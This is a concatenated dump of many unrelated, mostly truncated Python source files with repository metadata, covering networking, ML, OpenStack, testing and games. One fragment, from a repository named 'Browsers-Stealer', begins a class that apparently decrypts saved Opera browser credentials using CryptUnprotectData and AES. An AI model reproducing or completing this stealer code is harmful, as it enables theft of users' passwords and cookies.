4a14439cdf2813be11801d9dcc0b2b7c66c31466
26
py
Python
bin/dynatrace/dcrum/__init__.py
Dynatrace/DCRUM-Splunk-Application
ae6f5f766750bfc56d2c31d75256320341b50f35
[ "BSD-3-Clause" ]
2
2016-06-20T02:02:34.000Z
2021-12-15T12:07:51.000Z
bin/dynatrace/dcrum/__init__.py
Dynatrace/DCRUM-Splunk-Application
ae6f5f766750bfc56d2c31d75256320341b50f35
[ "BSD-3-Clause" ]
null
null
null
bin/dynatrace/dcrum/__init__.py
Dynatrace/DCRUM-Splunk-Application
ae6f5f766750bfc56d2c31d75256320341b50f35
[ "BSD-3-Clause" ]
2
2020-01-20T04:36:55.000Z
2021-03-24T08:00:11.000Z
__author__ = 'cwpl-khoja'
13
25
0.730769
4a14440b8a32ae6d5f4530fbb5a381af22b54f89
308
py
Python
Algorithms/Sorting/The_Full_Counting_Sort.py
gauthamkrishna-g/HackerRank
472d7a56fc1c1c4f8f03fcabc09d08da4000efde
[ "MIT" ]
1
2017-12-02T14:23:44.000Z
2017-12-02T14:23:44.000Z
Algorithms/Sorting/The_Full_Counting_Sort.py
gauthamkrishna-g/HackerRank
472d7a56fc1c1c4f8f03fcabc09d08da4000efde
[ "MIT" ]
null
null
null
Algorithms/Sorting/The_Full_Counting_Sort.py
gauthamkrishna-g/HackerRank
472d7a56fc1c1c4f8f03fcabc09d08da4000efde
[ "MIT" ]
null
null
null
n = int(input()) ar = [[] for _ in range(100)] for i in range(n): integer, string = input().strip().split(' ') integer = int(integer) if i < n//2: string = '-' ar[integer].append(string) #print (ar) print (' '.join([string for equal_string in ar for string in equal_string]))
30.8
76
0.577922
4a14441e2a7288c740482b5aab6584b0548187c3
1,317
py
Python
gwidgets.py
AstroPix/ATLASPix
752fb5d6287efea7a7a2fc72e2925c8c940b4665
[ "MIT" ]
null
null
null
gwidgets.py
AstroPix/ATLASPix
752fb5d6287efea7a7a2fc72e2925c8c940b4665
[ "MIT" ]
null
null
null
gwidgets.py
AstroPix/ATLASPix
752fb5d6287efea7a7a2fc72e2925c8c940b4665
[ "MIT" ]
1
2020-03-19T17:17:35.000Z
2020-03-19T17:17:35.000Z
import traitlets from ipywidgets import widgets from IPython.display import display from tkinter import Tk, filedialog class SelectFilesButton(widgets.Button): """A file widget that leverages tkinter.filedialog.""" def __init__(self): super(SelectFilesButton, self).__init__() # Add...
31.357143
61
0.600607
4a14473e48dd7d21d740c225a8aa0a349b22cd85
4,719
py
Python
keystone/common/request.py
Afkupuz/4jaewoo
fc69258feac7858f5af99d2feab39c86ceb70203
[ "Apache-2.0" ]
1
2019-05-08T06:09:35.000Z
2019-05-08T06:09:35.000Z
keystone/common/request.py
Afkupuz/4jaewoo
fc69258feac7858f5af99d2feab39c86ceb70203
[ "Apache-2.0" ]
4
2018-08-22T14:51:02.000Z
2018-10-17T14:04:26.000Z
keystone/common/request.py
Afkupuz/4jaewoo
fc69258feac7858f5af99d2feab39c86ceb70203
[ "Apache-2.0" ]
5
2018-08-03T17:19:34.000Z
2019-01-11T15:54:42.000Z
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under t...
37.452381
79
0.671752
4a14474e0829e739db1d640f8b83d3e5e5b5d631
2,853
py
Python
phi/tf/tf_cuda_resample.py
Neroware/PhiFlow
f85d1f46847d27332559e3d2b7ef6ac5d37796eb
[ "MIT" ]
null
null
null
phi/tf/tf_cuda_resample.py
Neroware/PhiFlow
f85d1f46847d27332559e3d2b7ef6ac5d37796eb
[ "MIT" ]
null
null
null
phi/tf/tf_cuda_resample.py
Neroware/PhiFlow
f85d1f46847d27332559e3d2b7ef6ac5d37796eb
[ "MIT" ]
null
null
null
import os import numpy as np import tensorflow as tf from tensorflow.python.framework import ops from phi.struct.tensorop import collapsed_gather_nd # Load Custom Ops librariesLoaded = False try: current_dir = os.path.dirname(os.path.realpath(__file__)) resample_op_path = os.path.join(current_dir, 'cuda/build...
37.539474
121
0.656502
4a14477830d7900c2a4dd6acfc6d0fb1cad13cf0
4,459
py
Python
plugins/modules/oci_network_cross_connect_location_facts.py
sohwaje/oci-ansible-collection
9e6b8cf55e596a96560710a457a7df05886fc59c
[ "Apache-2.0" ]
null
null
null
plugins/modules/oci_network_cross_connect_location_facts.py
sohwaje/oci-ansible-collection
9e6b8cf55e596a96560710a457a7df05886fc59c
[ "Apache-2.0" ]
null
null
null
plugins/modules/oci_network_cross_connect_location_facts.py
sohwaje/oci-ansible-collection
9e6b8cf55e596a96560710a457a7df05886fc59c
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # Copyright (c) 2020, 2021 Oracle and/or its affiliates. # This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # Apache License v2.0 # See LICENSE.TXT for d...
29.335526
121
0.696793
4a144974f789cf77e53b14078ede814e10141f49
2,999
py
Python
src/app_engine/constants.py
CoffeyMiao/apprtc
db4b915eed03423f7298d2944c1da66c9da401e3
[ "BSD-3-Clause" ]
null
null
null
src/app_engine/constants.py
CoffeyMiao/apprtc
db4b915eed03423f7298d2944c1da66c9da401e3
[ "BSD-3-Clause" ]
null
null
null
src/app_engine/constants.py
CoffeyMiao/apprtc
db4b915eed03423f7298d2944c1da66c9da401e3
[ "BSD-3-Clause" ]
null
null
null
# Copyright 2015 Google Inc. All Rights Reserved. """AppRTC Constants. This module contains the constants used in AppRTC Python modules. """ import os # Deprecated domains which we should to redirect to REDIRECT_URL. REDIRECT_DOMAINS = [ 'apprtc.appspot.com', 'apprtc.webrtc.org', 'www.appr.tc' ] # URL which we sh...
31.239583
90
0.750917
4a1449b16aa858fe4b581022fca1a001558a6e45
14,389
py
Python
archive/scripts/analysis_0_single_run/nbconverted/4_create_figs.py
ajlee21/Batch_effects_simulation
d707321346de48de5e63cf251280bdf9372be59c
[ "BSD-3-Clause" ]
6
2020-05-04T15:16:32.000Z
2021-02-28T04:49:21.000Z
archive/scripts/analysis_0_single_run/nbconverted/4_create_figs.py
ajlee21/Batch_effects_simulation
d707321346de48de5e63cf251280bdf9372be59c
[ "BSD-3-Clause" ]
12
2020-02-27T20:12:36.000Z
2021-04-07T20:28:35.000Z
archive/scripts/analysis_0_single_run/nbconverted/4_create_figs.py
ajlee21/Batch_effects_simulation
d707321346de48de5e63cf251280bdf9372be59c
[ "BSD-3-Clause" ]
2
2019-06-02T18:29:17.000Z
2020-02-13T09:33:37.000Z
# coding: utf-8 # In[1]: get_ipython().run_line_magic('load_ext', 'autoreload') get_ipython().run_line_magic('autoreload', '2') import os import sys import glob import pickle import pandas as pd import numpy as np from plotnine import (ggplot, labs, geom_line, ...
30.680171
122
0.610049
4a1449e84f297f7d17f7ccd8d3e8c369970b7cac
17,651
py
Python
pipenv/vendor/urllib3/contrib/_securetransport/bindings.py
offby1/pipenv
ce83c629385b4e7a791bd6857c2cf1e26ceb2351
[ "MIT" ]
23
2017-01-20T01:18:31.000Z
2017-01-20T17:25:11.000Z
pipenv/vendor/urllib3/contrib/_securetransport/bindings.py
offby1/pipenv
ce83c629385b4e7a791bd6857c2cf1e26ceb2351
[ "MIT" ]
1
2022-03-17T13:12:17.000Z
2022-03-17T13:12:17.000Z
pipenv/vendor/urllib3/contrib/_securetransport/bindings.py
offby1/pipenv
ce83c629385b4e7a791bd6857c2cf1e26ceb2351
[ "MIT" ]
null
null
null
""" This module uses ctypes to bind a whole bunch of functions and constants from SecureTransport. The goal here is to provide the low-level API to SecureTransport. These are essentially the C-level functions and constants, and they're pretty gross to work with. This code is a bastardised version of the code found in ...
33.944231
96
0.755651
4a144bd3cfd00ed8062e5798c7cb7d05cc7c7891
5,349
py
Python
models/dst.py
henryhungle/UniConv
e2b9bc86d35e443cf476aadebc61917d254537b6
[ "MIT" ]
6
2020-11-15T13:35:12.000Z
2022-01-30T10:03:40.000Z
models/dst.py
henryhungle/UniConv
e2b9bc86d35e443cf476aadebc61917d254537b6
[ "MIT" ]
null
null
null
models/dst.py
henryhungle/UniConv
e2b9bc86d35e443cf476aadebc61917d254537b6
[ "MIT" ]
1
2020-11-16T13:26:31.000Z
2020-11-16T13:26:31.000Z
import numpy as np import torch import torch.nn as nn import torch.nn.functional as F from torch.nn.utils.weight_norm import weight_norm import math, copy, time from torch.autograd import Variable from collections import OrderedDict import pdb from models.modules import * class DSTNet(nn.Module): def __init__(s...
46.112069
203
0.646476
4a144bf85b021a5081ba9d92c0b05d5412ec74b5
40,302
py
Python
ecube/gql.py
epiphani-inc/ecube
b4f42afa2ac6bc797a30d36a336b0a6807eac757
[ "MIT" ]
2
2020-09-26T01:24:17.000Z
2020-09-27T18:56:16.000Z
ecube/gql.py
epiphani-inc/ecube
b4f42afa2ac6bc797a30d36a336b0a6807eac757
[ "MIT" ]
26
2020-08-19T15:50:02.000Z
2020-08-19T15:50:17.000Z
ecube/gql.py
epiphani-inc/ecube
b4f42afa2ac6bc797a30d36a336b0a6807eac757
[ "MIT" ]
null
null
null
''' Copyright (c) 2020 epiphani, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute,...
37.420613
153
0.64039
4a144c98eebd76e4b473bc6c90c5445dbddd0fdd
928
py
Python
conduit/run.py
yacoma/morepath-realworld-example-app
65f24dba26e133f7a920832f681fc12ba6a0a522
[ "MIT" ]
5
2018-06-08T07:35:22.000Z
2020-01-04T20:55:16.000Z
conduit/run.py
yacoma/morepath-realworld-example-app
65f24dba26e133f7a920832f681fc12ba6a0a522
[ "MIT" ]
2
2018-06-08T07:35:02.000Z
2018-06-11T21:12:30.000Z
conduit/run.py
yacoma/morepath-realworld-example-app
65f24dba26e133f7a920832f681fc12ba6a0a522
[ "MIT" ]
null
null
null
import os from webob.dec import wsgify from webob.exc import HTTPNotFound import morepath from conduit import App, ProductionApp, TestApp from conduit.database import db def setup_db(app): db_params = app.settings.database.__dict__.copy() db.bind(**db_params) db.generate_mapping(create_tables=True) de...
21.090909
53
0.643319
4a144d4241a62ca7e822589fbe02db5bdc780eab
962
py
Python
Skimage_numpy/source/scipy/__config__.py
Con-Mi/lambda-packs
b23a8464abdd88050b83310e1d0e99c54dac28ab
[ "MIT" ]
1
2019-06-27T12:09:44.000Z
2019-06-27T12:09:44.000Z
Skimage_numpy/source/scipy/__config__.py
Con-Mi/lambda-packs
b23a8464abdd88050b83310e1d0e99c54dac28ab
[ "MIT" ]
null
null
null
Skimage_numpy/source/scipy/__config__.py
Con-Mi/lambda-packs
b23a8464abdd88050b83310e1d0e99c54dac28ab
[ "MIT" ]
null
null
null
# This file is generated by /tmp/pip-gyg03j-build/-c # It contains system_info results at the time of building this package. __all__ = ["get_info","show"] lapack_opt_info={'libraries': ['openblas'], 'library_dirs': ['/usr/local/lib'], 'language': 'f77'} openblas_info={'libraries': ['openblas'], 'library_dirs': ['/usr/...
40.083333
98
0.561331
4a144d5e80c65ab496e29306bfd0dbc2a6ca6bb3
8,411
py
Python
lldb/test/API/lang/c/bitfields/TestBitfields.py
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
605
2019-10-18T01:15:54.000Z
2022-03-31T14:31:04.000Z
lldb/test/API/lang/c/bitfields/TestBitfields.py
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
3,180
2019-10-18T01:21:21.000Z
2022-03-31T23:25:41.000Z
lldb/test/API/lang/c/bitfields/TestBitfields.py
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
275
2019-10-18T05:27:22.000Z
2022-03-30T09:04:21.000Z
"""Test C bitfields.""" import lldb from lldbsuite.test.decorators import * from lldbsuite.test.lldbtest import * from lldbsuite.test import lldbutil class TestCase(TestBase): mydir = TestBase.compute_mydir(__file__) def run_to_main(self): self.build() lldbutil.run_to_source_breakpoint(se...
49.476471
107
0.628344
4a144d60c43e9a24cd3ce70b00e81e56f33e7c51
7,116
py
Python
rasa/core/policies/mapping_policy.py
Tao2301230/rasa_learn
50093cbc696ee72fec81ab69d74a80399c6277ca
[ "Apache-2.0" ]
1
2020-09-23T11:04:38.000Z
2020-09-23T11:04:38.000Z
rasa/core/policies/mapping_policy.py
Tao2301230/rasa_learn
50093cbc696ee72fec81ab69d74a80399c6277ca
[ "Apache-2.0" ]
null
null
null
rasa/core/policies/mapping_policy.py
Tao2301230/rasa_learn
50093cbc696ee72fec81ab69d74a80399c6277ca
[ "Apache-2.0" ]
null
null
null
import logging import json import os import typing from typing import Any, List, Text, Optional from rasa.constants import DOCS_URL_POLICIES, DOCS_URL_MIGRATION_GUIDE import rasa.utils.io from rasa.nlu.constants import INTENT_NAME_KEY from rasa.utils import common as common_utils from rasa.core.actions.action import ...
36.121827
83
0.61172
4a144d61db1d5d0758ebe119303d64721843ceb3
3,208
py
Python
stink/browsers/opera_default.py
WolfInChains/Browsers-Stealer
98eefc39e8b59eb61ca3b17b7fc5b7964c892c6e
[ "MIT" ]
4
2020-06-24T15:46:35.000Z
2021-05-17T13:20:51.000Z
stink/browsers/opera_default.py
faritpro/stink
98eefc39e8b59eb61ca3b17b7fc5b7964c892c6e
[ "MIT" ]
3
2021-03-31T19:51:32.000Z
2021-06-04T13:23:22.000Z
stink/browsers/opera_default.py
faritpro/stink
98eefc39e8b59eb61ca3b17b7fc5b7964c892c6e
[ "MIT" ]
3
2020-10-15T12:37:10.000Z
2021-04-05T12:58:48.000Z
from json import loads from sqlite3 import connect from shutil import copyfile from base64 import b64decode from os import environ, sep, path, remove, mkdir from Crypto.Cipher import AES from win32crypt import CryptUnprotectData class Opera_Default: def __init__(self, storage_path: str, storage_folder: str, bro...
31.45098
153
0.632793
4a144e58836677b20381a2367b357b8e38ea8351
594
py
Python
causalimpact/__version__.py
abinba/tfcausalimpact
5aba01435c6a56e41af294beea0128b70a7f6a10
[ "Apache-2.0" ]
null
null
null
causalimpact/__version__.py
abinba/tfcausalimpact
5aba01435c6a56e41af294beea0128b70a7f6a10
[ "Apache-2.0" ]
null
null
null
causalimpact/__version__.py
abinba/tfcausalimpact
5aba01435c6a56e41af294beea0128b70a7f6a10
[ "Apache-2.0" ]
null
null
null
# Copyright WillianFuks # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, softw...
34.941176
74
0.757576
4a14506c983156539ffeca40df4f28955c5f277a
41,173
py
Python
datanetAPI.py
ihounie/datanetAPI
0c8a9c753dd058ac3bf0ae6329d08c4b8268b834
[ "Apache-2.0" ]
null
null
null
datanetAPI.py
ihounie/datanetAPI
0c8a9c753dd058ac3bf0ae6329d08c4b8268b834
[ "Apache-2.0" ]
null
null
null
datanetAPI.py
ihounie/datanetAPI
0c8a9c753dd058ac3bf0ae6329d08c4b8268b834
[ "Apache-2.0" ]
null
null
null
''' * * Copyright (C) 2020 Universitat Politècnica de Catalunya. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless requi...
33.230831
293
0.539771
4a1452950529a775356e462203a19d06863c5532
10,117
py
Python
MySimpleToken/MySimpleToken.py
lucas7788/python-template
fcb8dc5caf85f519d14b8eacb0814532954f3060
[ "Apache-2.0" ]
null
null
null
MySimpleToken/MySimpleToken.py
lucas7788/python-template
fcb8dc5caf85f519d14b8eacb0814532954f3060
[ "Apache-2.0" ]
null
null
null
MySimpleToken/MySimpleToken.py
lucas7788/python-template
fcb8dc5caf85f519d14b8eacb0814532954f3060
[ "Apache-2.0" ]
1
2020-09-11T02:30:51.000Z
2020-09-11T02:30:51.000Z
from boa.interop.System.Storage import Put, Get, GetContext from boa.builtins import concat from boa.interop.System.Storage import Put, Delete from boa.interop.System.Runtime import CheckWitness, Notify from template_contract_test.libs.SafeCheck import Require, RequireScriptHash,RequireWitness from template_contract_...
30.2
105
0.643175
4a14529b15d355c945f368baa671d611d064ec7a
1,534
py
Python
tictactoe/cli.py
luisds95/tictactoe-python
9765556372e303943bea82b85264e3fdca25a254
[ "MIT" ]
null
null
null
tictactoe/cli.py
luisds95/tictactoe-python
9765556372e303943bea82b85264e3fdca25a254
[ "MIT" ]
null
null
null
tictactoe/cli.py
luisds95/tictactoe-python
9765556372e303943bea82b85264e3fdca25a254
[ "MIT" ]
null
null
null
import logging import click from tictactoe.agent import AgentIsNotTrainableError, TrainableAgent from tictactoe.environment import DICT_DATABASE_FILE from tictactoe.game.play import Game from tictactoe.log.logger import TrainingLogger @click.group() def main(): pass @main.command() @click.argument("P1", defau...
28.407407
79
0.683181
4a145301dd2fc48a358bd05e8cd75009a62affa5
111
py
Python
maximum_sum_bst_in_binary_tree.py
pranavdave893/Leetcode
1f30ea37af7b60585d168b15d9397143f53c92a1
[ "MIT" ]
null
null
null
maximum_sum_bst_in_binary_tree.py
pranavdave893/Leetcode
1f30ea37af7b60585d168b15d9397143f53c92a1
[ "MIT" ]
null
null
null
maximum_sum_bst_in_binary_tree.py
pranavdave893/Leetcode
1f30ea37af7b60585d168b15d9397143f53c92a1
[ "MIT" ]
null
null
null
https://leetcode.com/problems/maximum-sum-bst-in-binary-tree/discuss/571513/python-recursion-easy-to-understand
111
111
0.837838
4a145373ffcfe977adb104051521a6390919b264
622
py
Python
env/lib/python3.8/site-packages/plotly/validators/scatter3d/marker/colorbar/_tickformatstopdefaults.py
acrucetta/Chicago_COVI_WebApp
a37c9f492a20dcd625f8647067394617988de913
[ "MIT", "Unlicense" ]
11,750
2015-10-12T07:03:39.000Z
2022-03-31T20:43:15.000Z
env/lib/python3.8/site-packages/plotly/validators/scatter3d/marker/colorbar/_tickformatstopdefaults.py
acrucetta/Chicago_COVI_WebApp
a37c9f492a20dcd625f8647067394617988de913
[ "MIT", "Unlicense" ]
2,951
2015-10-12T00:41:25.000Z
2022-03-31T22:19:26.000Z
env/lib/python3.8/site-packages/plotly/validators/scatter3d/marker/colorbar/_tickformatstopdefaults.py
acrucetta/Chicago_COVI_WebApp
a37c9f492a20dcd625f8647067394617988de913
[ "MIT", "Unlicense" ]
2,623
2015-10-15T14:40:27.000Z
2022-03-28T16:05:50.000Z
import _plotly_utils.basevalidators class TickformatstopdefaultsValidator(_plotly_utils.basevalidators.CompoundValidator): def __init__( self, plotly_name="tickformatstopdefaults", parent_name="scatter3d.marker.colorbar", **kwargs ): super(TickformatstopdefaultsValidato...
28.272727
86
0.606109
4a1455e0416c7a9dbab669876d871312c24fae81
9,260
py
Python
boards/milador-nrf52-0.1.0/tools/uf2conv/uf2conv.py
milador/milador-arduino
d0f9ebe33e0e67a921f96d0e278d9d646b8bad91
[ "MIT" ]
54
2020-09-04T12:02:30.000Z
2022-03-27T21:17:02.000Z
packages/framework-arduinoadafruitnrf52/tools/uf2conv/uf2conv.py
jeffc/nrf52-watch
f59b5f3295a3b42abadb2083eed439bf24fdff7d
[ "MIT" ]
16
2020-09-04T14:36:14.000Z
2022-01-13T03:29:27.000Z
packages/framework-arduinoadafruitnrf52/tools/uf2conv/uf2conv.py
jeffc/nrf52-watch
f59b5f3295a3b42abadb2083eed439bf24fdff7d
[ "MIT" ]
10
2020-09-04T22:54:57.000Z
2021-12-10T14:20:31.000Z
#!/usr/bin/env python3 import sys import struct import subprocess import re import os import os.path import argparse UF2_MAGIC_START0 = 0x0A324655 # "UF2\n" UF2_MAGIC_START1 = 0x9E5D5157 # Randomly selected UF2_MAGIC_END = 0x0AB16F30 # Ditto families = { 'SAMD21': 0x68ed2b88, 'SAMD51': 0x55114460, 'NR...
31.712329
113
0.530346
4a14565a593c6d0227b61ff7c70a4680a8afde37
9,471
py
Python
tutorials/video_detection_example/video_detection_inference_tutorial.py
Spencer551/pytorchvideo
9ee08f3112b5ad007a431cccc26598a1f28cf5b4
[ "Apache-2.0" ]
null
null
null
tutorials/video_detection_example/video_detection_inference_tutorial.py
Spencer551/pytorchvideo
9ee08f3112b5ad007a431cccc26598a1f28cf5b4
[ "Apache-2.0" ]
null
null
null
tutorials/video_detection_example/video_detection_inference_tutorial.py
Spencer551/pytorchvideo
9ee08f3112b5ad007a431cccc26598a1f28cf5b4
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 # # Torch Hub Detection Inference Tutorial # # In this tutorial you'll learn: # - how to load a pretrained detection model using Torch Hub # - run inference to detect actions in a demo video # ## NOTE: # At the moment tutorial only works if ran on local clone from the directory `...
34.191336
226
0.729596
4a145684e9dc7dc867ab44e4532c8c415b324673
6,858
py
Python
data_labeling/generate_semantic_non_circle_label.py
chansoopark98/hole-detection
76e47057b1e186d4e2f5db2b5b2bb1074b849078
[ "MIT" ]
null
null
null
data_labeling/generate_semantic_non_circle_label.py
chansoopark98/hole-detection
76e47057b1e186d4e2f5db2b5b2bb1074b849078
[ "MIT" ]
null
null
null
data_labeling/generate_semantic_non_circle_label.py
chansoopark98/hole-detection
76e47057b1e186d4e2f5db2b5b2bb1074b849078
[ "MIT" ]
null
null
null
import argparse import os import tensorflow as tf import glob import cv2 import numpy as np import math from pathlib import Path import natsort import re file_pattern = re.compile(r'.*?(\d+).*?') def get_order(file): match = file_pattern.match(Path(file).name) if not match: return math.inf return ...
31.315068
159
0.618985
4a1457180213e69c159e5e5a8f45930341d516c7
2,405
py
Python
gender.py
sillyfellow/gender.py
77f8c57fa7d9847c872867b6d384995616bdbdd1
[ "MIT" ]
1
2015-04-09T21:25:12.000Z
2015-04-09T21:25:12.000Z
gender.py
sillyfellow/gender.py
77f8c57fa7d9847c872867b6d384995616bdbdd1
[ "MIT" ]
null
null
null
gender.py
sillyfellow/gender.py
77f8c57fa7d9847c872867b6d384995616bdbdd1
[ "MIT" ]
null
null
null
#!/usr/bin/python import requests import json import sys import shelve def fill_gender_db(names, db): """ call the genderize.io api and then fill in the details to a local db, a shelf """ url = "" cnt = 0 for name in names: if url == "": url = "name[0]=" + name else...
25.052083
76
0.585447
4a1457c07b7bb10db7002886c5912ec369e36989
42,130
py
Python
neutron/tests/unit/agent/linux/test_iptables_manager.py
aristanetworks/neutron
84d2638579dc92b8530ccc3e963ce0e80c36461e
[ "Apache-2.0" ]
5
2015-10-20T07:56:53.000Z
2017-12-31T22:39:15.000Z
neutron/tests/unit/agent/linux/test_iptables_manager.py
aristanetworks/neutron
84d2638579dc92b8530ccc3e963ce0e80c36461e
[ "Apache-2.0" ]
null
null
null
neutron/tests/unit/agent/linux/test_iptables_manager.py
aristanetworks/neutron
84d2638579dc92b8530ccc3e963ce0e80c36461e
[ "Apache-2.0" ]
3
2015-05-08T22:36:28.000Z
2015-10-24T21:25:35.000Z
# Copyright 2012 Locaweb. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
41.182796
79
0.52281
4a145ab964d7061e38fb46e33e5f09c779e5182d
327
py
Python
src/mobu/constants.py
lsst-sqre/sciencemonkey
02638bb883093c4c225251d32d0b01fe79778c2a
[ "MIT" ]
null
null
null
src/mobu/constants.py
lsst-sqre/sciencemonkey
02638bb883093c4c225251d32d0b01fe79778c2a
[ "MIT" ]
26
2021-02-18T03:44:39.000Z
2022-03-21T19:34:52.000Z
src/mobu/constants.py
lsst-sqre/sciencemonkey
02638bb883093c4c225251d32d0b01fe79778c2a
[ "MIT" ]
null
null
null
"""Global constants for mobu.""" DATE_FORMAT = "%Y-%m-%d %H:%M:%S" """Date format to use for dates in Slack alerts.""" NOTEBOOK_REPO_URL = "https://github.com/lsst-sqre/notebook-demo.git" """Default notebook repository for NotebookRunner.""" NOTEBOOK_REPO_BRANCH = "prod" """Default repository branch for NotebookRunn...
29.727273
68
0.718654
4a145cb78d609b9a2798c7b4e754c3bf9940c26a
8,380
py
Python
forge/tests/test_docker.py
aj0415/cforge
a99c6333ffa6b7686c8eb622cbf45a742b002716
[ "Apache-2.0" ]
null
null
null
forge/tests/test_docker.py
aj0415/cforge
a99c6333ffa6b7686c8eb622cbf45a742b002716
[ "Apache-2.0" ]
null
null
null
forge/tests/test_docker.py
aj0415/cforge
a99c6333ffa6b7686c8eb622cbf45a742b002716
[ "Apache-2.0" ]
null
null
null
# Copyright 2017 datawire. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agr...
44.105263
1,752
0.73568
4a145df35a900590795fc1f731f7768259f4ef04
680
py
Python
Submissions/Tugdual_Sarazin/prime_number.py
Kkim-5962/Programming_with_python_2021
fe0d32f41ce5b3c13f08337f4e7c0da857195434
[ "Apache-2.0" ]
7
2020-09-15T15:52:53.000Z
2021-05-19T17:51:56.000Z
Submissions/Tugdual_Sarazin/prime_number.py
Kkim-5962/Programming_with_python_2021
fe0d32f41ce5b3c13f08337f4e7c0da857195434
[ "Apache-2.0" ]
null
null
null
Submissions/Tugdual_Sarazin/prime_number.py
Kkim-5962/Programming_with_python_2021
fe0d32f41ce5b3c13f08337f4e7c0da857195434
[ "Apache-2.0" ]
49
2020-09-12T12:56:32.000Z
2021-12-30T13:27:38.000Z
def prime_numbers(max): start = 2 end = max + 1 n = [True for i in range(start, end)] for a in range(start, end): if n[a - start]: for b in range(a + 1, end): # print(a, b, n[b - start], b % a) if b % a == 0: n[b - start]...
26.153846
118
0.432353
4a145dfe81f460cc131bf486bcc7f0471958c2d3
1,835
py
Python
models/test_model.py
MHC-F2V-Research/Image-Reconstruction-Ref2
0a124365fc14708bca092f68205987885c91212a
[ "BSD-3-Clause" ]
197
2019-10-24T19:51:17.000Z
2022-01-29T09:23:49.000Z
models/test_model.py
MHC-F2V-Research/Image-Reconstruction-Ref2
0a124365fc14708bca092f68205987885c91212a
[ "BSD-3-Clause" ]
10
2019-10-26T23:56:47.000Z
2021-09-03T13:06:53.000Z
models/test_model.py
MHC-F2V-Research/Image-Reconstruction-Ref2
0a124365fc14708bca092f68205987885c91212a
[ "BSD-3-Clause" ]
24
2019-10-25T06:36:30.000Z
2022-02-10T15:07:46.000Z
from .base_model import BaseModel from . import networks from .guided_pix2pix_model import GuidedPix2PixModel class TestModel(BaseModel): def name(self): return 'TestModel' @staticmethod def modify_commandline_options(parser, is_train=True): assert not is_train, 'TestModel cannot be used ...
37.44898
159
0.66158
4a145edd915b7a499af61168c6f903f6bccd5a98
6,830
py
Python
trdg/handwritten_text_generator.py
nicolasmetallo/TextRecognitionDataGenerator
deb260f96d4421039273582d709e24b6bbf8da16
[ "MIT" ]
null
null
null
trdg/handwritten_text_generator.py
nicolasmetallo/TextRecognitionDataGenerator
deb260f96d4421039273582d709e24b6bbf8da16
[ "MIT" ]
null
null
null
trdg/handwritten_text_generator.py
nicolasmetallo/TextRecognitionDataGenerator
deb260f96d4421039273582d709e24b6bbf8da16
[ "MIT" ]
null
null
null
import os import pickle import numpy as np import random as rnd import tensorflow as tf import matplotlib.pyplot as plt import matplotlib.cm as cm import matplotlib.mlab as mlab import seaborn from PIL import Image, ImageColor from collections import namedtuple def download_model_weights(): from pathlib import Pat...
31.330275
109
0.55549
4a146072aeb281d1d5a665fe6c86c6529a74cf81
2,777
py
Python
pdfmaker/parser_n77.py
bmcmenamin/sundries
b41a52da5efab0c67013fb25b080753449571d93
[ "MIT" ]
null
null
null
pdfmaker/parser_n77.py
bmcmenamin/sundries
b41a52da5efab0c67013fb25b080753449571d93
[ "MIT" ]
null
null
null
pdfmaker/parser_n77.py
bmcmenamin/sundries
b41a52da5efab0c67013fb25b080753449571d93
[ "MIT" ]
null
null
null
from collections import defaultdict import json from bs4 import BeautifulSoup from docx import Document from docx.enum.text import WD_ALIGN_PARAGRAPH import re from num2words import num2words scraped_file = "heart_of_obsidian.json" output_file = "heart_of_obsidian.docx" chapter_re = re.compile(r"[\s]*Chapter [\d...
22.950413
81
0.670148
4a1460c755dd4caedb2afb52a663c0989ae9050b
4,709
py
Python
runtime/bindings/python/tests/test_onnx/utils/onnx_backend.py
chccc1994/openvino
41f7893ae81d186d15c1754b179bf32a66d03bcf
[ "Apache-2.0" ]
2,406
2020-04-22T15:47:54.000Z
2022-03-31T10:27:37.000Z
runtime/bindings/python/tests/test_onnx/utils/onnx_backend.py
thomas-yanxin/openvino
031e998a15ec738c64cc2379d7f30fb73087c272
[ "Apache-2.0" ]
4,948
2020-04-22T15:12:39.000Z
2022-03-31T18:45:42.000Z
runtime/bindings/python/tests/test_onnx/utils/onnx_backend.py
thomas-yanxin/openvino
031e998a15ec738c64cc2379d7f30fb73087c272
[ "Apache-2.0" ]
991
2020-04-23T18:21:09.000Z
2022-03-31T18:40:57.000Z
# Copyright (C) 2018-2021 Intel Corporation # SPDX-License-Identifier: Apache-2.0 """ ONNX Backend implementation. See ONNX documentation for details: https://github.com/onnx/onnx/blob/master/docs/Implementing%20an%20ONNX%20backend.md """ from typing import Any, Dict, List, Optional, Sequence, Text, Tuple import nu...
34.625
97
0.641113
4a1460e96a744b1e6a0ba14abccc4189388f9679
1,826
py
Python
uAPI/http_response.py
TheGarkine/uAPI
eea2695fbf1fccc4b2ceb52c8b1137fe9f526a48
[ "MIT" ]
1
2021-11-14T16:22:52.000Z
2021-11-14T16:22:52.000Z
uAPI/http_response.py
TheGarkine/uAPI
eea2695fbf1fccc4b2ceb52c8b1137fe9f526a48
